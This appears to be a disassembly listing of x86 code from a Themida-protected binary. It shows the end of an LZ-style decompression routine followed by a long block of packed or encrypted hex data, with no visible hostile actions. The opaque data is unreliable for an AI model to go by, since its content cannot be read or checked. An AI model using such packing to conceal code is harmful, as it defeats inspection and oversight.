loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j
add dl, dl
jnz short loc_5131FA
mov dl, [esi]
inc esi
adc dl, dl
loc_5131FA: ; CODE XREF: sub_51311B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_513205
mov dl, [esi]
inc esi
adc dl, dl
loc_513205: ; CODE XREF: sub_51311B+E3j
jb short loc_5131F1
cmp eax, 7D00h
jnb short loc_513228
cmp eax, 500h
jb short loc_513223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513223: ; CODE XREF: sub_51311B+F8j
cmp eax, 7Fh
ja short loc_51322B
loc_513228: ; CODE XREF: sub_51311B+F1j
add ecx, 2
loc_51322B: ; CODE XREF: sub_51311B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513238: ; CODE XREF: sub_51311B:loc_513153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_513259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513259: ; CODE XREF: sub_51311B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_51311B endp
; ---------------------------------------------------------------------------
loc_513265: ; CODE XREF: Themida_:loc_513076j
; Themida_:005130B1j
jmp loc_57C2CA
; ---------------------------------------------------------------------------
word_51326A dw 38E9h ; DATA XREF: Themida_:0051308Bo
dd 153354Ch, 4D0A1BFh, 1D13FC2h, 0C77F35C2h, 7C550878h
dd 465728B3h, 1BE10311h, 8401F3BFh, 9288AB6Bh, 5F57ECACh
dd 0E1033646h, 98F2BE1Eh, 75BC6F29h, 0E10324E6h, 112E3512h
dd 71C8EFEFh, 0ABFB43B8h, 43B821C8h, 843B22F2h, 6854C06Fh
dd 38696D65h, 0AA466164h, 0E11E33A2h, 52FCEE0Eh, 74736507h
dd 41337261h, 0D32E8B70h, 7F08E778h, 0DD080167h, 0C58B0ED7h
dd 0E860D443h, 815D4084h, 3355BEDh, 95890613h, 0D3F08B9h
dd 3D3422B5h, 83C0E585h, 11CDBD10h, 0C740E70h, 0E245E88Bh
dd 0C28588B8h, 44708EF7h, 813E3824h, 456A8030h, 29A3E830h
dd 3D749A68h, 0DF280783h, 4B250F0Ah, 0D5480A89h, 214E985h
dd 55E8EC2Bh, 83EC8B05h, 0EE60D8C4h, 20EA815Ah, 8B043649h
dd 0D845C7DAh, 0E8C088Dh, 81088940h, 80637D7Eh, 3F0F741Dh
dd 83920820h, 0FF104CB3h, 0EB314312h, 61DC36E1h, 0C90A26BAh
dd 34604C2h, 0FF7CC481h, 22490247h, 458D0092h, 85D8B80h
dd 19A285C7h, 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh
dd 755D0106h, 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh
dd 7ABB85Bh, 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h
dd 314A9246h, 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh
dd 51EB4DFCh, 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h
dd 3E7FEB0Ch, 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah
dd 0F801D604h, 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h
dd 390A0A61h, 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah
dd 0C3FA1E7Ah, 10610A75h, 0B72411Ah, 77460A86h, 10F52406h
dd 0C3F05D01h, 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh
dd 700EF826h, 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh
dd 0BA87F238h, 5B90708h, 0BDFC4270h, 0FE0037D8h, 0E49470Fh
dd 22B9FA75h, 0BBE06A2Eh, 0F1123101h, 6EEB823Bh, 868EC002h
dd 1C1439B6h, 1F655107h, 8AEEA236h, 0E9892677h, 825920F2h
dd 0E2E2C7ECh, 0C32C0B06h, 1D13EAh, 0E014CB8Ah, 299B944Ah
dd 0A6C56E00h, 22ABC19Fh, 355937F1h, 0F6B65C54h, 34CB8C1Ch
dd 39826700h, 1765B4Eh, 51B8100Fh, 0F1D1043Dh, 8746D93Bh
dd 2E09755Eh, 20E1156h, 65E4EC48h, 4E800690h, 8E05C584h
dd 0D7C99632h, 42A3C53h, 8C0629C2h, 0E7820571h, 98A2DD0Eh
dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh
dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h
dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh, 13845A68h
dd 0D1305645h, 55EE825Eh, 0F20281D4h, 0D58A2792h, 231310B9h
dd 47439729h, 4568C6Bh, 725E2188h, 6D8A14C4h, 45339425h
dd 21001C08h, 0DAC45646h, 1FDD32Eh, 2C2A84A0h, 31E08C67h
dd 0EA088CCCh, 1E62F0Bh, 0D124CC8Eh, 0F84A8480h, 8D0C67F0h
dd 2515E9DAh, 0ACDB0028h, 0CC50EECBh, 8500C4E6h, 80363C09h
dd 79F845Fh, 676BDFD7h, 5C5BD0BCh, 507E281h, 0FA57B0B4h
dd 10CA0B80h, 53406386h, 3EB9C8F6h, 2874218h, 0E4F0EE91h
dd 11C339EAh, 0CE952h, 0D3512A0Dh, 0DC21C4E2h, 97122F02h
dd 918110D8h, 0EAC45C97h, 6F0FCE0Fh, 565DAF00h, 160107E8h
dd 0E77038E1h, 3E49A2F7h, 0AAB41F00h, 636EF88Ah, 8EA1812h
dd 7D6A1B00h, 87A4CC0Eh, 9024DF10h, 44E93C1Fh, 2ADD07F9h
dd 0DF1C327Fh, 3E7251E0h, 8600FD61h, 4B52B9CAh, 125B1EACh
dd 12FABF67h, 6D520D42h, 108D043Eh, 0E9C0CD25h, 20792619h
dd 4C051F00h, 0CA34382Ch, 0B3D008Ch, 0F41AE482h, 0C8EC695Ch
dd 5EE07703h, 0F014B50Eh, 8F56F0h, 0F66111A8h, 62D1C010h
dd 3A00F8F8h, 0BF29E922h, 54DD44h, 0B6B55821h, 100B0590h
dd 81178430h, 0C00DEA61h, 0FCA4EF0Dh, 0DC01C3DDh, 7C72E781h
dd 113076F5h, 8C6250F8h, 9A5A403h, 5EA848Dh, 82DF3A02h
dd 0C3958061h, 3080EA86h, 4B0664BFh, 22EA6609h, 0FC400015h
dd 3753E679h, 63010FC0h, 0FAF53FCBh, 326481EAh, 68E9004Bh
dd 0B846BB3h, 200E1F0h, 21FB6F9Bh, 1D5B269h, 0D1192D32h
dd 0D31E104Bh, 0BE09C6C1h, 0E7930008h, 0F14C03E6h, 0B77896h
dd 0F81F4B97h, 396CF3EDh, 0E1AFD000h, 9538E201h, 39DF19h
dd 92FEA9DEh, 2B015C4Ch, 0A7D3D70Ah, 9FDBB54Dh, 367C6CC1h
dd 274B188Ch, 0BC287739h, 8C00DE0Dh, 2D5B155Ah, 0A5D48Eh
dd 400E949Ch, 18A18D1Fh, 1AD931C0h, 0F2111705h, 207C3064h
dd 9089D850h, 430C4C18h, 6713510h, 0AE31B4FDh, 900CA11Fh
dd 201DB854h, 0DC63002h, 814D0519h, 7226DC07h, 0E04F2CA6h
dd 96219A3Ah, 418501A2h, 909BC416h, 932CD4D5h, 0B8A0D754h
dd 0FD05BF12h, 59A89D00h, 7C99AC09h, 33450048h, 517151Ah
dd 31C0DDB0h, 3C880DCEh, 0FC140EC3h, 87404197h, 34F35A75h
dd 4011A531h, 0B006E304h, 2C16B220h, 30DDC1ABh, 0C7B83918h
dd 0C0195528h, 78414E1Dh, 7002E82Ah, 0F4A3A997h, 35BB10C5h
dd 0BA36C000h, 74AC02EDh, 1EF61E7Bh, 0C466C0F9h, 0A5DB0192h
dd 33789414h, 795200B8h, 0E6D2A138h, 77FD2810h, 0AD170030h
dd 0AA354DD9h, 3B609064h, 0A431F130h, 9C08C1A9h, 61C05AD6h
dd 11A1B92Ch, 0BF1C4778h, 0F9A7402Fh, 0D51203D9h, 0B26EC903h
dd 0E174EFBEh, 0B0D48A16h, 912B158Fh, 0DE099CD9h, 262EB9h
dd 4344504Dh, 2E0A75C6h, 53083Eh, 0F417D3A2h, 93FE763Ch
dd 4363924h, 412B4B8Ch, 416F0089h, 0FCDDE15Fh, 0F001E48Ah
dd 180E6782h, 84438E15h, 5C01BC44h, 83107DA0h, 0A86C26C8h
dd 78181837h, 5E79812Dh, 8DC5BA00h, 33EB12B8h, 0AB747729h
dd 0AC40CC3Ch, 49271776h, 0BFB6802h, 8FB338A2h, 0D8F120E8h
dd 1F7C0A7h, 0F0DA8CA0h, 0D3FD30ABh, 0DC82A2FBh, 0A84C0848h
dd 29D33C40h, 1909D2Bh, 7099ABF1h, 382880C5h, 409A243Ah
dd 9410C3DEh, 90DC084Ch, 0D610A124h, 30DE7480h, 0A6A132AFh
dd 2364286Ch, 89C1D2E0h, 15C4BFF1h, 4D80A00Bh, 82300C63h
dd 0A97011D7h, 9BD5022h, 16C58DF0h, 0EB43820h, 841E6779h
dd 83802AB6h, 28DF7DC2h, 487AE02Fh, 0C9109CA1h, 94DC04FCh
dd 3C901D5Eh, 0C7E3ABA0h, 402C2D18h, 0ECFD7079h, 0AFD1E9C0h
dd 80CE4CA1h, 92477A6h, 8E41B48Ah, 9CEC825Ah, 50446070h
dd 1D607355h, 6239CB1Dh, 0ED2526C5h, 7AB08FC7h, 589F2h
dd 0EC97EAD9h, 72C2C8A7h, 3D011F73h, 9C93EE25h, 0F0D3C6ADh
dd 0E3F24A9h, 0C8524EA0h, 8125E6E7h, 0F07CF3C4h, 65006650h
dd 61718F4Dh, 16AC2B2h, 0E81ECA1Fh, 0E0A3AE01h, 930092FDh
dd 0F709EC74h, 43EDADh, 166082CAh, 1DF2B62Fh, 0F1B88E1Dh
dd 0C63C8068h, 0DB620936h, 95100047h, 152E55A4h, 0BCEECCC2h
dd 29B8DE04h, 884D0C19h, 48F1028Ah, 0F35C058h, 5492C048h
dd 77824h, 15AF3105h, 5016D442h, 0ABACA039h, 80E404B9h
dd 0E07D63F0h, 0CC8330C7h, 24705B81h, 0A0102022h, 541A12DEh
dd 0A5312C21h, 6C39B433h, 0A0302720h, 8FD9A12Ch, 45C81858h
dd 7453E0FAh, 81307830h, 0C0657A50h, 55126208h, 4D7A6BC3h
dd 684CD831h, 9D003764h, 2A3FAB02h, 7102FEFCh, 0B084A635h
dd 0B75C4848h, 104CB2EDh, 0CE9912Ch, 69467819h, 0B112002Ah
dd 357E2039h, 7C006DEDh, 0C108E41Dh, 2936B82h, 0AC671136h
dd 704890A1h, 0AE248874h, 5C26E868h, 757D2860h, 234F18F9h
dd 0A61C7CE5h, 0B02FC91h
dd 4AEAD4BAh, 395080DCh, 0D367A0h, 55AA994Ch, 744E164Dh
dd 447190E8h, 8FE03F69h, 4556867Dh, 0F04B52B1h, 1B248500h
dd 86AAED64h, 5DCAA100h, 0EB3A6DC3h, 0B4322C97h, 4094C574h
dd 39ED6098h, 6F146D51h, 86F85C16h, 0F159AA31h, 0C83F530h
dd 33469A2Bh, 0D3008420h, 0F3686152h, 2A5A3F7Fh, 44147466h
dd 0A0145832h, 3AB816C9h, 0B4DE8CFDh, 60C659C1h, 0E92A611Eh
dd 2014AA78h, 221431DEh, 0A7D513ADh, 60400998h, 98997829h
dd 50FACC68h, 0E99A3000h, 0BD110987h, 0B3DE14D0h, 1422343Eh
dd 91019A78h, 0C871DA0Dh, 0B4D4DDC7h, 528602B5h, 54160C77h
dd 0BA2B8090h, 0D0DF6428h, 0A4D9DE40h, 28907D88h, 6CA010A0h
dd 94A0319Ah, 1C907059h, 2CDAB05Ch, 1D24C6F8h, 40ADAA25h
dd 9E82B18Bh, 49004BF4h, 125E3B72h, 7A437DA6h, 0C70EABCh
dd 0BB18B20Ch, 5471DF80h, 32703D60h, 92B88406h, 2BF00668h
dd 28B46CB2h, 0AF8DB4Ch, 90D09B2Ch, 0C5C98D83h, 0EA810011h
dd 0AC6322C2h, 8E286DD7h, 4145B449h, 6400F063h, 0C0348F45h
dd 9000ED5Fh, 5B7AE95Ch, 7E97BEC2h, 0ADF10643h, 78B068B9h
dd 0F47CDCB0h, 0EEA5D380h, 0B83FF009h, 0A9AC09CCh, 1D051081h
dd 1638339h, 0C13CD4FCh, 0BF6D37A4h, 0C0AA8B38h, 50482AD4h
dd 0D142013Ch, 979252D2h, 0BC9DBF4h, 1519A858h, 5BE83821h
dd 315C3554h, 10E6E138h, 6EF5C2Fh, 0C1B05A39h, 971D301Ch
dd 715DBE50h, 0D10890AEh, 58A81504h, 0E82E7815h, 0DF1EB300h
dd 0E8A5F591h, 6153DC0Ch, 41B4505Fh, 14883058h, 0D6334988h
dd 67243039h, 15011191h, 22763D42h, 6705358h, 62D607B3h
dd 0A239F5AEh, 74C82DB8h, 0AC208CA8h, 4BF00C15h, 2C48182Ah
dd 2EE89052h, 0E4291484h, 2C50649Fh, 1E132413h, 4B30E2D8h
dd 0F608931h, 409B0172h, 0BA33D36Bh, 0B05C3420h, 0F1B95260h
dd 37942E05h, 6180245Ch, 60DB1ED4h, 0AC20C1E4h, 8B933EB2h
dd 0EC233100h, 5BA1A6E7h, 0BC56F18h, 3E626E91h, 860037EBh
dd 0DD3B5D10h, 0DF01654Ah, 0E72B94FCh, 473D375h, 57CC0D00h
dd 58DCE31h, 69BB3400h, 0E0FEE1E4h, 64A80A3Bh, 9F884560h
dd 395685h, 4616FF8Ch, 0EC004D7Eh, 81FE2B12h, 0F8E66188h
dd 803D5558h, 4CA71C50h, 0AF84A83Ch, 0A6B60010h, 1FC94D0Ah
dd 0EA1E980Eh, 0BBF1B5h, 0A3134E1Bh, 9A26B232h, 44089034h
dd 3D604B49h, 33764849h, 7FE5036Ch, 38444A0h, 77AE2D98h
dd 1E4C9F01h, 0AD31F152h, 0B115FC22h, 0B501E0DFh, 98275E45h
dd 79BAF480h, 0FF0BF900h, 6C76AA07h, 72D4099Dh, 0C0645716h
dd 83792660h, 7314Dh, 3FFE8D37h, 7DDABCBFh, 8C9C2B00h
dd 0F1A6DB61h, 0DE34029Ah, 0D64E3672h, 8C8B3042h, 0C8109809h
dd 4830651h, 0D5AFD010h, 12C60616h, 0BDB61DB1h, 0B4A50F1Ch
dd 0F55B0C67h, 78D48258h, 0BFDB4C80h, 34033F93h, 81B87675h
dd 3EADD0ABh, 57F10539h, 7076DA8h, 46BFD834h, 0AA1788EBh
dd 0E8403C9Ch, 0ECB1AC89h, 63090C2h, 5FB85CA1h, 60828E6h
dd 100CA894h, 0D608108Dh, 89E16075h, 59DA5AEDh, 0F3E30900h
dd 0F2B38A3Eh, 336200FFh, 0FD230BD1h, 895C497Bh, 9ADE0CB3h
dd 1F50C8D4h, 9374A965h, 0B150880Ah, 0DD59DE60h, 59E1D2h
dd 56FAE7D8h, 0B00906C3h, 58F8A101h, 1CA443F0h, 14FCBC20h
dd 0D4C8EDDBh, 0BA82E0C0h, 0E424FBD9h, 3B0089DEh, 0AAAD682Ah
dd 1D180315h, 0B69CF732h, 768838h, 0AE286048h, 1D029AAh
dd 9BF70535h, 70228B99h, 0DE40C834h, 39D50E96h, 0A5209853h
dd 36799A6Fh, 0C108C530h, 2CA2E896h, 1332FF5h, 94BD2E65h
dd 0B77BECB4h, 5B0167EEh, 5A517571h, 0DC2861A8h, 7DA1AE04h
dd 0DE2080C1h, 20E9C0B7h, 0D0B1C480h, 88C87700h, 614E03h
dd 0D3827ABBh, 0CFD9A99Ah, 0FC0804A7h, 2C2500A8h, 0ABEB87FBh
dd 36426000h, 1BCCEABDh, 0CC8AEE34h, 976CD918h, 2140D86Fh
dd 9EF9EF54h, 0CD30E771h, 58720083h, 17A3D528h, 937E402Fh
dd 0DDFC3B18h, 37435C40h, 0C658B746h, 782068D8h, 2BE03B6Fh
dd 273CDE20h, 0A7450067h, 0B5A52A58h, 0DFF43Bh, 840DF3E1h
dd 1CA0D7E8h, 951B5418h, 782AF480h, 5D293328h, 81D86110h
dd 0D600E01Ah, 0BEBC5807h, 0CEB926Eh, 25542651h, 0CE28C229h
dd 0E90680AFh, 719FDB88h, 0AA610670h, 292864F2h, 0CA1E4600h
dd 26A0D81Bh, 1F3775B1h, 0BDF48EF1h, 0B89BAC98h, 51F90862h
dd 0F6438008h, 1648B481h, 0A41BCC6h, 0C0AA42DEh, 6259DB81h
dd 8450402Ah, 60542E43h, 0B7C3792Dh, 2B305AEEh, 0A29A2144h
dd 0AE0A454h, 3C2E7B08h, 14238518h, 5AD84136h, 91F1D671h
dd 8200F670h, 7FB75CE9h, 0A339C528h, 6CD001EAh, 0B88EA984h
dd 896ED088h, 0D207F802h, 81184893h, 0BDD800FDh, 0BECC58EEh
dd 0F02FC15h, 0F4D90797h, 5498848Bh, 20464844h, 883E80A5h
dd 4349D187h, 62090320h, 0A345BE73h, 8DC1A06Bh, 271B1D39h
dd 0AA7241D7h, 8C9D3016h, 0C8DF9CB9h, 9B24889Eh, 2C06F6B8h
dd 0D7EA5AA2h, 10C96260h, 90A7C354h, 0EB6BB041h, 2E2AA818h
dd 0CA159C03h, 0A7289D0Fh, 1E187A2Fh, 0E9EC0128h, 24A819DBh
dd 635980D4h, 0AB9F60DDh, 0AEDA3AD8h, 0AC1DC40Ah, 0E72780A0h
dd 0EADFEC8Ch, 0DE400E53h, 0B40C9952h, 5A39ABh, 0AA24F7C2h
dd 6AA0472Eh, 91CA5230h, 90F24AE6h, 0B0123244h, 3CB5AF31h
dd 165BA285h, 0DBA0D442h, 91582A35h, 3421298Fh, 0C00B0551h
dd 0C2FA239Dh, 0C4CB0FF2h, 0D1F8E62Fh, 7900E862h, 17AB24C7h
dd 0A2380340h, 53BC3C48h, 0DEC34C31h, 610D3949h, 200CA995h
dd 8CAAF803h, 86A40819h, 0DF2FA738h, 54185061h, 0E2084FFh
dd 0F11B3BF3h, 0AE1F307Ah, 0C9982E71h, 8626B000h, 35FDDAA0h
dd 15D11396h, 24181F8Fh, 0E08B0070h, 0A2A9E799h, 0E8DD552Ah
dd 0AF3A480Fh, 8A209562h, 44EBC13h, 7882F507h, 609C49C2h
dd 0F88D0880h, 53A9A308h, 1092A77Fh, 3DF02B4Dh, 43EBFA6h
dd 8CCFE60h, 0B1170580h, 69C900FDh, 42F0B49Eh, 523BAC47h
dd 0EA91000Ah, 152A5188h, 0B9DC006Ah, 65A63E71h, 3FE0C838h
dd 83E5963Bh, 0D3663BCEh, 0E195C8ADh, 105401BBh, 8CEB8EE4h
dd 68408207h, 76B8DEh, 1DBF38AFh, 0E5A51601h, 5DC5D27Bh
dd 3E2D8480h, 0FF90F047h, 0DA8EDF00h, 0D71B5249h, 64F055h
dd 0B9BD3E7Ch, 0C1DBEF3h, 0CE58A575h, 40FA970h, 1F895FBh
dd 0B8F266A2h, 0D820161Fh, 0C7D70060h, 0F8C1C955h, 0ED01447Fh
dd 0BCDBCD67h, 6CC04EEBh, 0DF610114h, 0B98CB2B3h, 1408065h
dd 732C680Eh, 5D320045h, 4C2D64CCh, 5C009B56h, 4051E810h
dd 37337ADh, 0B4BA6D12h, 65A03EBEh, 220B6ECh, 7545EE11h
dd 0ADD500C9h, 0F94A3A2Dh, 0FB00FF5Bh, 444EEF7Fh, 71212Fh
dd 8C7363BAh, 0B6019BB8h, 683B1E01h, 0CFFC6715h, 3831DFD5h
dd 0C0AE944Bh, 0C2F9B9ACh, 96101204h, 3F5400EAh, 2DAED65Dh
dd 9B4E3700h, 0BCE00F90h, 1887FDCh, 0D16A2274h, 60937CF7h
dd 0B700F18Ch, 33A8CD08h, 0C7CEB1h, 2F2C867h, 4DA05C46h
dd 66002FFEh, 7A4C5843h, 30D15F16h, 6740B2EBh, 0F40C0F3h
dd 3B10019h, 0F2D45D35h, 0F7E242F8h, 24F46603h, 8044DCC1h
dd 5F1220h, 927CB8C2h, 0CCF3B46Ch, 97CD1D00h, 35047217h
dd 0F0D42C5Bh, 3D4D58Ch, 60A07750h, 3A80C238h, 61001896h
dd 9856CDE1h, 20732DF0h, 8DE6F544h, 5247DD03h, 0B0AC1A6Eh
dd 3F3E7DB8h, 0B70060A3h
dd 33A11843h, 3D07D578h, 0F066D85Eh, 5AED0DB0h, 0C5250011h
dd 7A4241EFh, 0DC0089F9h, 6C8DB163h, 0BFF264h, 28941A0Eh
dd 73C54575h, 2DC19E0Eh, 5DAAE071h, 0C324FEh, 214088D8h
dd 0B4D26F16h, 6D387600h, 1CB8F04Fh, 2CA11FCDh, 658A407Dh
dd 5336B0D5h, 0AC9F0D2Ch, 5F01E111h, 0D15E1482h, 1B8849F9h
dd 0AFB0FF04h, 72001F5Dh, 7B1D6585h, 0A0B594Bh, 0C9A94E64h
dd 14805534h, 0B9755177h, 84E0098h, 494B7205h, 0BD77AFCCh
dd 0E6781CAEh, 0D110C263h, 0F91900A3h, 9C37C4A0h, 1A05DD4Eh
dd 5D19E6EFh, 0AA614EC0h, 0C881305Bh, 0EEB8AF41h, 4F462F05h
dd 0FD86D545h, 21D76008h, 4BEEB08Dh, 0FAD2791Ch, 27FF3C41h
dd 0E47C2354h, 25DB4001h, 83921A6Ch, 4C164810h, 0A9A0E8E7h
dd 1BC60404h, 0A8A45834h, 19733A08h, 30382A59h, 5C00D06Dh
dd 0E441F84Bh, 0DD15D7CCh, 881C9732h, 0D13717F9h, 0D4142584h
dd 0AB01EE2Dh, 51B4188Eh, 602D3BDEh, 0E825A704h, 0C08104CEh
dd 0A400F64Fh, 22686A95h, 0BE495205h, 8C3A32F8h, 5E01DD23h
dd 99261707h, 0D088204Bh, 0CBAECEC0h, 57CD0E59h, 1AA0DC54h
dd 0E34C2E5Bh, 91A88E51h, 33CB3C9h, 0DA01AD0Ah, 8AB9809Ch
dd 5B6053DBh, 58A5BE0Ch, 0C0E6088Ch, 0DB921431h, 2D319134h
dd 0F57758ADh, 8E93F0Ch, 95048CB0h, 736052DBh, 1720F162h
dd 0DDB9Dh, 1184F699h, 9423CDEh, 0E1CD8130h, 1829B63h
dd 0BEA4EEEBh, 81C73664h, 2C239078h, 0EC40CA10h, 7EA2FF7h
dd 2252C0DDh, 9DCC624Fh, 6CB84480h, 3492FA06h, 29593807h
dd 62C0A799h, 1E51B517h, 0C3BEC360h, 2C25FCAEh, 0D00D848Ah
dd 0DB9030CEh, 8B605511h, 1A80F288h, 3B94DB98h, 23630038h
dd 0F0AF6AE2h, 363032D8h, 27AA9892h, 9F4600ADh, 730A5845h
dd 0D26ED464h, 0C0067178h, 31907632h, 412B5903h, 0A0C8A22Fh
dd 0D9315736h, 18B9A041h, 57DB0896h, 0F0C47B60h, 0DB9E1840h
dd 0A8027AC1h, 0C4C53A52h, 920FA27h, 0D2399B29h, 0C5A80C90h
dd 95278E00h, 1BD817C9h, 0A0DF6A54h, 0EC467420h, 654AE800h
dd 0B260435Ch, 6BBF4D04h, 38A928C4h, 53542004h, 0DF00D09Eh
dd 4D00F79Ch, 6D1F2305h, 296EFE29h, 80942627h, 0DF5E258h
dd 0BA70938Fh, 8071E36Fh, 965EC3CDh, 1CE9E95Fh, 41A572D8h
dd 0B7800B5h, 85321E62h, 30AAD0AFh, 5011DB97h, 0E4888360h
dd 0DB9F1980h, 1D40D8F3h, 4CC5E86Eh, 0ECDCC0A0h, 6DF4C0C1h
dd 0E8207C95h, 9CD90C07h, 4979ADD2h, 0B8082E00h, 9EA30D20h
dd 8156628h, 6A132195h, 0DC010826h, 0A4425260h, 1ADF0420h
dd 0F883FF2Bh, 59017844h, 0F71B85E6h, 80DC423Fh, 9C92DFh
dd 6939FEC8h, 87EA31B7h, 5B419F03h, 0C08A6579h, 18245CE6h
dd 50D0BC1Ch, 0F8373260h, 5A706862h, 924D853h, 0B3902712h
dd 0EF68F80Fh, 0AAA7CE0Fh, 4AB84F5h, 6C4478h, 267D6D51h
dd 47C40D84h, 0ABD34902h, 4B9142DEh, 382E1840h, 4A62A0D1h
dd 65A07E20h, 89A2112h, 31C09FACh, 4620B308h, 6962215h
dd 83082969h, 0D2008E20h, 23735988h, 252B5AD7h, 74C8B906h
dd 0AA419555h, 6C5EE002h, 0EEB304C8h, 62B74632h, 0AB8820CBh
dd 37008CEEh, 0AC2E42F9h, 0BEDCA14h, 0F0046E3Fh, 0CE096804h
dd 0C1E5882Ch, 0C54ABAA7h, 0D7A88295h, 5CBF7C1Bh, 81C218F8h
dd 0AA0EF4F6h, 0B88A5493h, 869936D8h, 370AAC91h, 2380A49Bh
dd 0AA60F9D3h, 0E74A45Fh, 4633EEB4h, 893C38B6h, 81EEAC03h
dd 0D04B9233h, 0C7F05F4h, 0A2AE4262h, 14182370h, 5AA0AA4Ch
dd 299D0108h, 2471F996h, 4E6425E6h, 0C0E588BCh, 136D2B0Bh
dd 90258D09h, 0C62090D2h, 0DACE0041h, 9B0D322Eh, 814B4AF2h
dd 302AF0CCh, 3BF9A2E6h, 0C67C8713h, 913FA501h, 0D3101C71h
dd 0A012880h, 0E6837FCAh, 1604A097h, 4EA3904Fh, 0D334808Bh
dd 71FACE4Ah, 0C0382C10h, 0D2328E04h, 0A9840192h, 0B448E727h
dd 9A5300BAh, 0B5757195h, 656629C3h, 0A021F408h, 0F169A9Ah
dd 0FEB3DC21h, 2881D249h, 3AE76D8Ch, 6F295C07h, 0AD8BF020h
dd 7B54B808h, 0D40F5034h, 0DCC8261Eh, 468C2844h, 8320298h
dd 1C2D20B4h, 82A6E00h, 77C2B304h, 1B93068Dh, 21A1D20Ch
dd 7DF6401h, 8B2CABB8h, 0F2659CC8h, 71501766h, 88B004E5h
dd 0C4D8019Bh, 5034BB1Dh, 1D52780Bh, 7BBA0FE4h, 0C8C4E28h
dd 0D2081471h, 42249730h, 5D82EC0Ah, 507F5C20h, 90E74B00h
dd 0F9B0DCE0h, 0A5D21018h, 0BA1391h, 140A29F2h, 951B0736h
dd 94B0ABF4h, 88A6F1Fh, 489918Bh, 0F0816D98h, 0A0D29733h
dd 0EE6E13B8h, 269202BBh, 27D341D9h, 825188A4h, 9130AC48h
dd 605611DBh, 80ED8893h, 0C5DB991Bh, 6702DAA3h, 1F0874E6h
dd 0C4044DA1h, 184560F0h, 2000B09Bh, 0A718A80Eh, 0DE79E11Dh
dd 94C914Fh, 1430870Ch, 0E02824F1h, 6324B0C3h, 0D4241CF8h
dd 1DF04674h, 0BD016340h, 0F1E7471Eh, 0D4217182h, 0DC815FC7h
dd 2244B0D6h, 942238h, 82EF404Bh, 46AE51F4h, 69F0FF0Eh
dd 0F84EE099h, 5D7C970h, 33EDC747h, 506F90h, 0CFDD4DCDh
dd 2547F95Eh, 18857016h, 782482A8h, 6CC7AC25h, 5426B370h
dd 30A74893h, 0ECE611h, 63AFA199h, 3BC56090h, 0EA809C46h
dd 89EC051Bh, 7716646Bh, 84AAB80h, 0E937C46Fh, 4649E080h
dd 89D0A0A1h, 4DC4B059h, 8A0C1033h, 7029D701h, 1D26EB00h
dd 0F123A64Dh, 846E012Fh, 0DA526295h, 10E832AAh, 0E7CBB40h
dd 5CA8B316h, 4FB0C6ECh, 8882934Eh, 28247432h, 229462Ch
dd 71979A51h, 5A031C65h, 0BCBB9A59h, 0A6B82480h, 0BA1062C8h
dd 26BC8129h, 26E3DA64h, 8E46E78h, 2B85D658h, 288CC1F6h
dd 881D32Ch, 0C2C05994h, 464631EEh, 0D1225Fh, 59EEBA8Fh
dd 90B56163h, 3F967D03h, 4A8E795h, 0EBFB31B1h, 267AC00Dh
dd 7A000A92h, 833A1AA5h, 0FC42Bh, 849133E0h, 641659F2h
dd 0A626C8E9h, 5A90B8D9h, 0EE09B718h, 6557462Eh, 0AF8C80C4h
dd 0D6C0DFEEh, 0E73B3D0Ah, 2664B42Ah, 949A5260h, 116D7123h
dd 5A5F01EEh, 0CF2409Ah, 9C45AFCDh, 0DDCC8Ch, 7C0E85A3h
dd 0A40DEEB5h, 0E9B99607h, 2730F466h, 4C941E0Ch, 0A825E4C1h
dd 0C1A3CC24h, 29BA2418h, 0B0A007Ch, 6AB5E7AFh, 7A4E0F09h
dd 40C150E2h, 2329102Ch, 9B2B0070h, 0A3E7AEDAh, 0B03600FDh
dd 38E40106h, 0C87AD330h, 46696502h, 42E2346Eh, 120087A0h
dd 806F0048h, 2B3EAA28h, 0A6D40702h, 7EEEE80Dh, 67B18D84h
dd 0D8A0AC29h, 0A143DE41h, 8AC81A6h, 0F801DC48h, 2921115Eh
dd 5CD8CC30h, 0D1E8B069h, 0EDFD098Ch, 2F00962Dh, 0EA580AE8h
dd 84166326h, 9962C40Bh, 804DA40h, 1809F88h, 6C49EE5Dh
dd 45E83E83h, 4AC20972h, 0C4109E6Ah, 0E18BCFE4h, 1882458Ah
dd 6AB12425h, 4F0EE200h, 9470C898h, 0A8F2AA85h, 9458C483h
dd 0BE38602h, 812808AAh, 26425D7h, 0C4838A5h, 20BAF876h
dd 4DF70008h, 0D226FE4h, 6B5901Eh, 75885C38h, 858280B2h
dd 7292E313h, 5DE3440h, 4CA7D078h, 0CA813822h, 84B02652h
dd 0D4743BD1h, 591794E4h, 3A9218C1h, 7F32324h, 4067B00Eh
dd 8A2596C8h, 11D5412Ch, 29EBE60Ch, 908B7E88h, 0B87F07DAh
dd 90DB34A7h, 835EBAC0h, 0C81A8600h, 5C1E45F2h, 2080A0D8h
dd 0BBEB2844h, 4E808C8Ch, 0AD040064h, 0FA726045h, 8101A300h
dd 2984FB36h, 1A690B5h, 46153178h, 83E6B826h, 0E744F238h
dd 4E5001F8h, 55768C04h
